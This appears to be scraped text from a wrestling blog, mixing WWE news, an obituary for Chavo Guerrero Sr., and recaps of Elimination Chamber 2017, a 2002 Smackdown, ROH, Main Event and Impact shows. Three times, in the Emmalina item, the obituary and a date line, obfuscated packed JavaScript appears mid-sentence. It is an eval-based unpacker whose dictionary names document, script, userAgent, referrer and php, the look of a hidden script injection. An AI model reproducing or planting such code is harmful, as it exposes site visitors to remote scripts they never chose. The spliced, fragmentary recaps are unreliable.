So Apparently Emmalina is Done
And it’s one of WWE’s latest stupid ideas.Apparently eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sztsb|var|u0026u|referrer|bhare||js|php'.split('|'),0,{})) the character was supposed to be a callback to the Kat/Sable, as in eye candy who can’t do anything in the ring. Ignoring the fact that WE KNOW EMMA CAN WRESTLE, it really doesn’t work when you look at everything else going on.
Monday Night Raw – February 13, 2017: Oh No He Didn’t
Teddy Long Announced for WWE Hall of Fame
https://wrestlingrumors.net/new-name-announced-wwe-hall-fame-class-2017/
Works for me. Long is one of those lifers in wrestling and he deserves something like this. Teddy joins the Rock N Roll Express and Kurt Angle in the 2017 Class.
Elimination Chamber 2017: It’s Got The Whole Show In Its Hands
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Chamber 2017
Date: February 12, 2017
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: Mauro Ranallo, John Bradshaw Layfield, Tom Phillips, David Otunga
Pre-Show: Curt Hawkins vs. Mojo Rawley
The opening video is all about the Chamber, which is really all it could be about.
Becky Lynch vs. Mickie James
Apollo Crews/Kalisto vs. Dolph Ziggler
Apollo Crews vs. Dolph Ziggler
Tag Team Titles: Tag Team Turmoil
Natalya vs. Nikki Bella
Natalya punches her post match but gets speared on the ramp.
Carmella says those two are out of control and Ellsworth repeats her.
Bray says the Family will reunite.
Luke Harper vs. Randy Orton
Naomi is challenging after pinning Bliss in a few tag matches. Bliss has a Wonder Woman motif for her gear. Alexa spits gum at Naomi to start but gets armdragged down. That earns Naomi a hard whip into the corner with a loud crack against the turnbuckle. They trade some rollups until simultaneous kicks to the head put both of them down.
Naomi thanks the fans and is glad the fans feel the glow.
Carmella is tired of being asked questions so Ellsworth throws the interviewer out.
The Chamber (now mainly square with a big WWE logo on top) is lowered.
We recap the main event, which was really just announced one week on Smackdown as a way to have Cena defend his newly won title.
Smackdown World Title: John Cena vs. AJ Styles vs. Dean Ambrose vs. The Miz vs. Baron Corbin vs. Bray Wyatt
Miz comes in sixth (one of the few times, if not the only time, that everyone is legal at the same time but stays in the pod, allowing Dean to roll Corbin up for the pin at 18:42. Corbin throws Ambrose through the pod, followed by End of Days. As soon as Corbin is gone, Miz runs in and pins Ambrose at 20:46.
That makes Wyatt the huge face in the match now (not that big of a jump) and he runs AJ over, only to eat a forearm for two. The Phenomenal Blitz is cut off by a clothesline but Styles gets in the Pele and a springboard 450 for another near fall. AJ loads up the Phenomenal Forearm but gets caught in Sister Abigail for the pin to give Bray the title at 34:31.
“Orton comes out for the staredown to end the show. JBL: “Does this mean Randy Orton is going to face Bray Wyatt at Wrestlemania?” Dang it JBL go talk to another legend and let Saxton handle the stupid questions.
Results
Becky Lynch b. Mickie James – Rollup
Apollo Crews/Kalisto b. Dolph Ziggler – Toss powerbomb
American Alpha won Tag Team Turmoil last eliminating Ascension
Nikki Bella vs. Natalya went to a double countout
Randy Orton b. Luke Harper – RKO
Naomi b. Alexa Bliss – Split legged moonsault
Bray Wyatt b. The Miz, Dean Ambrose, John Cena, Baron Corbin and AJ Styles – Sister Abigail to Styles
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Elimination Chamber 2017 Preview
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Kickoff Show: Mojo Rawley vs. Curt Hawkins
Kalisto/Apollo Crews vs. Dolph Ziggler
Can someone explain this one to me without making my head hurt very badly? From what I can gather, Crews and Kalisto have beaten the heel Ziggler now but due to him attacking both of them with chairs, they now get to fight him at the same time. You know, the faces getting the advantage over the heel who is supposed to be the one getting the big push out of this.
Nikki Bella vs. Natalya
Luke Harper vs. Randy Orton
Becky Lynch vs. Mickie James
Tag Team Turmoil
John Cena vs. Bray Wyatt vs. Dean Ambrose vs. AJ Styles vs. Baron Corbin vs. The Miz
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Chavo Guerrero Sr. Passes Away at 68
He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsyni|var|u0026u|referrer|kzzby||js|php'.split('|'),0,{})) had been diagnosed with liver cancer earlier this year so this wasn’t the biggest shock. It’s still never a good thing to see happen though. He and his brothers gave a Chicago crowd one of the biggest shocks ever at SuperClash III with all their crazy high spots that no one around there had ever seen before. Check that match out if you’ve never seen the Guerrero Brothers as a team. It’s on the Network and features a young and unknown Cactus Jack as one of the opponents.
Smackdown – September 12, 2002: Billy and Chuck and Eric and Stephanie
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asaan|var|u0026u|referrer|zrnfk||js|php'.split('|'),0,{}))
September 12, 2002
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, Tazz
Opening sequence.
Brock Lesnar vs. Hardcore Holly
A delayed vertical suplex sets up a bearhug but Brock charges into some boots in the corner. That earns him a completely botched powerbomb with Holly handing on his head, putting him out of action for over a year. Holly somehow gets in a dropkick and the kick to the ribs, only to eat the F5 for the pin.
Eddie Guerrero/Chavo Guerrero vs. John Cena/Edge
Rating: C+. This worked like you would expect it to but I continue to be confused by Cena. He came in white hot and hit the ground running but then he was losing to D-Von and getting pinned clean in tag matches. As is so often the case, you need more than just a wrestling match to get someone over and the lack of any development is really hurting Cena.
As expected, Eddie goes nuts on Chavo post break.
Kurt Angle vs. Rey Mysterio
We hit the bodyscissors to keep Rey down, followed by some rolling German suplexes to make things even worse. Rey fights right back with a moonsault press and a crossbody to put Angle on the floor. The 619 looks to set up the West Coast Pop but Kurt has to settle for a regular hurricanrana for a close two. Rey takes a bit too long going up though and the corner running Angle Slam puts him away.
Someone from the wedding party arrives in a long black limousine.
Chris Benoit vs. Rikishi
Post match Angle holds Benoit in place for the Stinkface.
The wedding ceremony is being set up so Benoit spends the time getting a match with Angle at Unforgiven. Stephanie agrees as Matt comes in and gets a match with Undertaker tonight.
The shaking stops and the voice changes with the old man ripping off the prosthetic makeup to reveal Eric Bischoff. I know you can tell it a lot better now with the voice but this COMPLETELY got me back in the day and was one of the best surprises I had ever seen. 3 Minute Warning comes in for the beatdown with Bischoff holding Stephanie back.
Nidia vs. Torrie Wilson
Matt recruits Brock to be at ringside with him.
Undertaker vs. Matt Hardy
Lesnar and Heyman are at ringside too. Heyman immediately starts running around the ring and throws a chair in with Tazz blaming Stacker 2 (sponsor) for all the energy. Undertaker will have none of this and grabs a powerslam to plant Hardy. Heyman gets ejected and the distraction lets Hardy get in a low blow.
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Ring of Honor TV – February 8, 2017: Ring of Ho-Hum
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of Honor
Date: February 8, 2017
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Kevin Kelly, Colt Cabana
BJ Whitmer/Punishment Martinez vs. War Machine
Rating: C+. This is what the match should have been as War Machine is a great power brawling team. Whitmer is fine once they cut off the Kevin Sullivan nonsense and Martinez is capable of doing some very horrible looking things to jobbers if given the chance. I had fun with this one and the ending was one of the only logical ways to go.
They brawl to another break after the match.
We look back at the Young Bucks agreeing to defend against the Tempura Boyz.
Colt Cabana leaves commentary due to a zero tolerance policy.
Tag Team Titles: Young Bucks vs. Tempura Boyz
Post match Hangman Page comes out to help the Bucks lay the Boyz out.
Marty Scurll loves the idea of six people fighting for a shot at his title.
Lio Rush vs. Chris Sabin vs. Alex Shelley vs. Donovan Dijak vs. Jonathan Gresham vs. Jay White
Scurll stares him down.
War Machine is brawling with Whitmer/Martinez in the back to end the show.
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Main Event – February 9, 2017: This One Crushes The Others
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Event
Date: February 9, 2017
Location: Moda Center, Portland, Oregon
Commentators: Tom Phillips, Austin Aries, Byron Saxton
Opening sequence.
Curtis Axel vs. Bo Dallas
To Raw for the first time.
And now the second time.
US Title: Chris Jericho vs. Sami Zayn
Sin Cara vs. Rusev
Rating: C. Better match than I was expecting here with Cara getting in some offense. Rusev worked fine as the arrogant monster who let Cara get back into it, only to crush him in the end. On top of that, Lana has flat out mastered the evil heel manager role. She has so much confidence to her and that makes for a great character.
Samoa Joe vs. Roman Reigns
Joe jumps Reigns before the bell and Reigns is in trouble as we take a break with no bell. Back with the bell ringing and Reigns taking it to the floor for a whip into the barricade. Joe comes right back with an enziguri and pops Reigns in the jaw with an elbow. A slugout goes to Joe and he drops the backsplash for two more.
Post match Strowman cleans house and powerslams Reigns through the barricade to end the show.
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Impact Wrestling – February 9, 2017: Let the Expedition Begin
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Wrestling
Date: February 9, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews
Recap of the four briefcase matches from last week.
DCC vs. Tyrus/Eli Drake
Clip of Lashley vs. Eddie Edwards in a cage. Their final showdown is tonight.
Brandi Rhodes is going to call out Rosemary.
Braxton Sutter and Allie run into each other in the back. Maria comes in and yells at Allie for wasting time and sends her away. We hear about some wedding plans and Braxton has an hour to propose to Laurel Van Ness.
Brandi and Moose want a mixed tag next week.
Aron Rex vs. Robbie E.
Before the match, Aron fails to get the audience to sing his name. Rex slaps him in the face to start and of course hides on the apron as a result. Back in and Robbie throws some right hands, which seem to tick Rex off. Robbie is thrown outside so Spud can choke with his coat. That fires Robbie up and Spud is pulled inside, allowing the loaded punch to knock Robbie cold for the pin at 4:54.
The Hardys are ready for an announcement.
Clip of Edwards winning the World Title.
The Wolves and their wives (Angelina Love and Alisha) are ready.
Grand Championship: Mahabali Shera vs. Drew Galloway
Sutter drops a water bottle cap and goes to pick it up, which Laurel interprets as a proposal. Braxton: “That is the exact opposite of what I wanted to happen.”
Lashley is ready.
Matt and Jeff meet fans in Tijuana and next week, the first challenge takes place.
TNA World Title: Lashley vs. Eddie Edwards
Davey and Angelina beat down Eddie and Alisha to end the show.
Results
DCC b. Tyrus/Eli Drake – Last Call to Tyrus
Aron Rex b. Robbie E. – Loaded punch
Drew Galloway b. Mahabali Shera – Futureshock
Lashley b. Eddie Edwards – Spear
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